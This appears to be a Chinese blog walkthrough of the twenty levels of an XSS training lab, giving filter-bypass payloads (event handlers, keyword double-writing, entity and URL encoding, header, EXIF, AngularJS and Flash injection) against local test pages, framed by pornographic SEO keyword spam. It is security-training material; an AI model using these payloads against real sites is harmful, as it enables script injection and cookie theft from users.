日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XSS挑战之旅平台通关练习(1-20)

發布時間:2025/3/15 编程问答 16 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XSS挑战之旅平台通关练习(1-20) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1、第一關

比較簡單,測試語句:

<svg/onload=alert(1)><script>confirm(1)</script><script>prompt(1)</script><script>alert(1)</script>

html頁面簡單的三種對話框如下:

1、alert(),最簡單的提示框:

alert("你好!");

2、confirm(),有確認和取消兩個按鈕:

if(confirm("還有繼續嗎?")){

??? alert("繼續");

}else{

??? alert("再見");

}

3、prompt(),可以輸入信息:

var name = prompt("你的名字是:");

alert("你好," + name);

2、第二關

此處為搜索型的xss,分析代碼,使用的是get方法,從url中接受一個keyword搜索參數,此處用到了一個過濾函數htmlspecialchars(),這個函數把預定義的字符轉換為HTML實體,“>”和“<”轉義了,屬于黑名單繞過,那就是不使用被過濾的符號,使用js的事件,如:" οnmοuseοver=alert(2) >click。還需要注意的地方就是前面的符號閉合.

另一個payload:

"><sript>alert(2)</script>

仍然是注意前面的閉合,就可以了。

3、第三關

這一關,過濾規則的更嚴格了,經過測試,“>”,“<”,“"”,被過濾了,但是單引號“'”,沒有過濾,所以此處嘗試js語句,“' οnmοuseοver=alert(3)//”測試,后面無法閉合,所以使用了注釋“//”。

' onmouseover=alert(3)//

4、第四關

研究一下源碼,如下圖,可以看到,傳入進去的值經過了兩個函數的參與,str_replace(">","",$str),此函數是將變量str中的字符>轉換為空,轉換時區分大小寫;同樣也把<轉換為空,然后再經過函數的過濾轉化,這時要在沒有符號“<>”,的情況下構造語句,并且不被htmlspecialchars()函數影響。所以這里可以構造一個輸入到文本框后出現相應的事件。

Payload:" onfocus=alert(4) autofocus=""onlick=alert(4)//onfocus事件:定義的事件將在對象獲得焦點時觸發,這里指input標簽獲得焦點。autofocus屬性:input標簽的屬性,當頁面加載input標簽,自動獲得焦點。焦點:這里指你的光標的位置,也就是說當你的光標出現在input文本框這里,將進行onfocus事件的發生。

Payload

" onchange=alert`1` " " onchange=alert`1` // " oninput=alert`1` " " oninput=alert`1` //

5、第五關

源碼

<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!");window.location.href="level6.php?keyword=break it out!"; } </script> <title>歡迎來到level5</title> </head> <body> <h1 align=center>歡迎來到level5</h1> <h2 align=center>沒有找到和test相關的結果.</h2><center> <form action=level5.php method=GET> <input name=keyword value="test"> <input type=submit name=submit value=搜索 /> </form> </center><center><img src=level5.png></center> <h3 align=center>payload的長度:4</h3></body> </html>

這次是on替換成了o_n script替換成了sc_ript,很明顯這是不讓我們用事件和script啊

"> <iframe src=javascript:alert(5)> "> <a href="javascript:%61lert(1)">click me</a> // "> <a href="javascript:alert('xss')">111</a> // "> <a href="javascript:alert(/1/)">axxx</a> //

6、第六關

經過查看源代碼發現過濾了很多的字符,其中

7、第七關

根據代碼顯示,script,on,src,data,href都直接轉換成空了,大小寫也不能用了。所以嘗試雙寫繞過。

payload:"><scriscriptpt>alert(7)<scrscriptipt> " oonnmouseover=alert(7)// "><a hrhrefef=javascrscriptipt:alert(7)>CLICK ME !!!</a>// " oonninput=alert(1) " "> <scscriptript>alert`xss`</scscriptript> //

8、第八關

分析代碼可知,

"script"轉換為"scr_ipt","on"轉換為"o_n","src"轉換為"sr_c","data"轉換為"da_ta","href"轉換為"hr_ef",'"'轉換為'&quot',大小寫過濾并被編碼,尖括號><,單引號',%,#,&符號沒有被過濾,輸出點在a標簽內,href屬性中,屬性里的雙引號被轉換成HTML實體,無法截斷屬性,這里可以使用偽協議繞過javascript:alert,由于script關鍵字被過濾,javascript會被替換成javasc_ript,使用r來代替r,偽協議后面可以使用URL編碼進行編碼。

Payload:javascri&#x70;&#x74;:alert(8)javasc&#x72;&#x69;pt:%61lert(8)javasc&#x72;&#x69;pt:%61lert`1`javasc&#x0072;ipt:alert`1`

9、第九關

"script"轉換為"scr_ipt","on"轉換為"o_n","src"轉換為"sr_c","data"轉換為"da_ta","href"轉換為"hr_ef",'"'轉換為'&quot',和上一關差不多,不同的是多了自動檢測URL,如果發現沒有帶http://內容則會顯示為不合法。

payload:javascrip&#x74;:alert(9)//http://a.com // 利用注釋javascrip&#x74;:%0dhttp://a.com%0dalert(9) // 不利用注釋javascrip&#x74;:%0ahttp://a.com%0dalert(9) // 不利用注釋

10、第十關

分析代碼,發現需要兩個參數,一個是keyword,一個是t_sort,尖括號<>都被轉換成空,還有三個hidden的隱藏輸入框,或許可以從隱藏的輸入框下手,構造payload。

payload:keyword=well done!&t_sort=" onmouseover=alert(1) type="text" keyword=well done!&t_sort="; type="text" onclick="alert()

查看頁面源碼:

Keyword=aaa&t_sort=" type="text" onmouseover="alert(10)Keyword=aaa&t_sort=" type="text" onmouseover=alert`1`

11、第十一關

分析代碼,相比上一關,多了一個str11=$_SERVER['HTTP_REFERER'];驗證的是http頭部的xss注入,使用burp抓包,修改相應的字段,構造http頭部referer的payload。

頭部本身沒有Referer,自行添加了,

payload:Referer:" onmouseover=alert(11) type="text"Referer:" onclick="alert(11)" type="text

12、第十二關

查看代碼,str11=str11=_SERVER['HTTP_USER_AGENT'];應該是User-Agent的http頭部注入,burp抓包,構造頭部User-Agent的payload。

User-Agent:" onmouseover=alert(12) type="text"User-Agent:" onclick="alert(12)" type="text

13、第十三關

查看代碼,這次是cookie類型的xss注入,setcookie("user", "call me maybe?", time()+3600);

構造payload:Cookie:" onmouseover=alert(13) type="text"Cookie:" onclick="alert(13)" type="text

14、第十四關

這一關的圖片一直加載不出來,所以也沒有辦法進行測試了。于是在網上找了一些參考,自己記錄一下:

查看源碼發現exif,猜測應該是exif xss,但是這個鏈接由于網絡的原因無法訪問,exif xss,一般利用于文件上傳的地方,最經典的就是頭像上傳,上傳一個圖片,該圖片的exif元數據被修改為xss payload,成功利用彈窗,具體實現使用kali下的exiftool工具,命令如下:

exiftool -FIELD=XSS FILEexiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg

15、第十五關

查看代碼,這一關是關于angular?js的知識,ng-include有包含文件的意思,也就是相當于php里面的include,此處可以包含第一關的頁面

構造payload:在url處寫入語句,src='level1.php?name=<img src=x onerror=alert(1)>'如下圖所示,這個沒有利用成功,搜索到的另一個作者說是,因為這里需要訪問angular.main.js這個js文件,才能進行包含,虛擬機的環境中無法訪問,看樣子是需要fanqiang的,暫時無法實現,最近國慶,抓的很嚴,我買的也掛掉了。。。

AngularJS ng-include 指令

ng-include 指令用于包含外部的 HTML 文件。

包含的內容將作為指定元素的子節點。

ng-include 屬性的值可以是一個表達式,返回一個文件名。

默認情況下,包含的文件需要包含在同一個域名下。

<element ng-include="filename" onload="expression" autoscroll="expression" ></element><ng-include src="filename" οnlοad="expression" autoscroll="expression" ></ng-include><body><span class="ng-include:'level1.php?name=test<img src=1 onerror=alert(1)>'"></span></body>

2019/10/7更新:今天又弄了一個臨時的vpn,緊接著就進行了測試,如下圖顯示,測試成功:

16、第十六關

查看代碼發現大小寫繞過失效,script、/、,等都被轉換成&nbsp,這時,可以嘗試使用%0a,%0d來進行繞過。

構造語句:Keyword=<img%0dsrc=a%0donerror=alert(16)>Keyword=<iframe%0dsrc=0%0donmouseover=alert`16`></iframe>Keyword=<svg%0aonload=alert`16`></svg>

17、第十七關

測試語句:arg01=a&arg02=%20onmouseover=alert`1`/level17.php?arg01=a&arg02= onmouseover=alert(1)http://127.0.0.1/xss//level17.php?arg01=a&arg02=b 8888 onmouseover=alert(1)

18、第十八關

這一關和上一關一樣。

payload:

http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1) http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert`1` http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseover=alert`1`

19、第十九關

Flash?xss

頁面源碼,未插入語句時:

頁面源碼,插入語句后:

Payload:192.168.40.129/xss/level19.php?arg01=version&arg02=<ahref="javascript:alert(document.domain)">xss_by_didi</a>

點擊“xss_by_didi”就可以觸發XSS。彈窗:

網上找了下大神的答案,這里記錄一下:

flash xss,需要對flash的反編譯對源碼進行分析,這里使用jpexs-decompiler來分析,首先定位getURL函數

然后追蹤到sIFR的內容

得知version參數可以傳入loc4變量中,即sIFR的內容中,但是getURL只在內容為link時打開,所以分析contentIsLink函數

所以我們可以構造<a > </a> 標簽來傳值http://localhost/xss_test/level19.php?arg01=version&arg02=<ahref="javascript:alert(1)">111111</a>

20、第二十關

看著就好難。說是將swf下載下來分析得知是zeroclipboard.swf,有漏洞詳情,因此構造出的payload就是上面的那句話,我就直接放進去測試一下成功率吧。

payload

level20.php?arg01=a&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height

總結

以上是生活随笔為你收集整理的XSS挑战之旅平台通关练习(1-20)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 黄色一级大片在线免费看产 | 欧美混交群体交 | 99国产精品无码 | 少妇高潮一区二区三区99小说 | 亚洲精品成人片在线观看精品字幕 | 欧美综合一区二区 | 成人刺激视频 | 人人草av | 亚洲影院在线播放 | 日韩免费一级 | va在线视频 | 天堂在线观看 | 天天操天天插天天干 | www夜夜| 欧美性理论片在线观看片免费 | www.白虎 | 午夜家庭影院 | 一级淫片a | 日日夜夜操av | 亚洲一区二区三区四区不卡 | 男女无遮挡网站 | 性猛交富婆╳xxx乱大交麻豆 | 日本少妇电影 | 99久久精品国产一区色 | 一区二区三区四区五区av | 亚洲AV无码成人精品区明星换面 | 日韩一级在线观看视频 | 一级黄网| 91美女网站| 色婷婷狠狠 | 小柔的裸露日记h | 日韩欧美国产电影 | 俺啪也| 九九热视频免费观看 | 男生和女生一起差差差很痛的视频 | 四虎国产成人精品免费一女五男 | 日韩五十路 | 欧美高清一区二区三区四区 | 一区在线看 | 麻豆av一区 | 动漫美女被到爽流 | 成人做爰66片免费看网站 | 男阳茎进女阳道视频大全 | 麻豆国产网站 | 久久婷婷精品 | 一区二区精品区 | 国产精品一色哟哟哟 | 亚洲综合在线中文字幕 | 337p亚洲欧洲色噜噜噜 | 国产一区精品久久 | 四虎国产成人精品免费一女五男 | 国产精品免费视频一区二区 | 日本不卡三区 | 国产女主播一区二区 | 91精品久久久久久久久久久 | 日本成片网 | 亚洲一区精品视频在线观看 | 国产精品视频在线看 | 九九久久久 | 久久久久久穴 | 色婷婷激情综合 | 尤物网站在线播放 | 天天想你在线观看完整版电影高清 | 在线看片一区二区 | 一区二区三区四区在线视频 | 欧美国产精品一区二区三区 | 成人久色 | 亚州av在线| 国产女人被狂躁到高潮小说 | 在线欧美一区二区 | 国内精品久久久久久久久久久 | 精品少妇一区二区三区免费观 | 欧美巨大荫蒂茸毛毛人妖 | 日本一区二区在线免费观看 | 亚洲操操操 | 午夜在线观看视频 | 亚洲大片免费观看 | 国产剧情精品 | 免费小视频 | 亚洲精品中文字幕乱码三区 | 日本视频黄 | 特级精品毛片免费观看 | 受虐m奴xxx在线观看 | 爱涩av| 99久热在线精品996热是什么 | 91羞羞网站| 亚洲黄色在线网站 | 在线黄色网页 | 欧美在线一二三四区 | 国产精品suv一区二区69 | 午夜寂寞剧场 | 亚洲精品乱码久久久久久自慰 | 免费又黄又爽又猛大片午夜 | 久久国产精品久久久久久 | 国产又粗又大又硬 | 福利小视频在线播放 | 亚洲男人的天堂在线 | 特黄做受又粗又大又硬老头 | 成人四色 |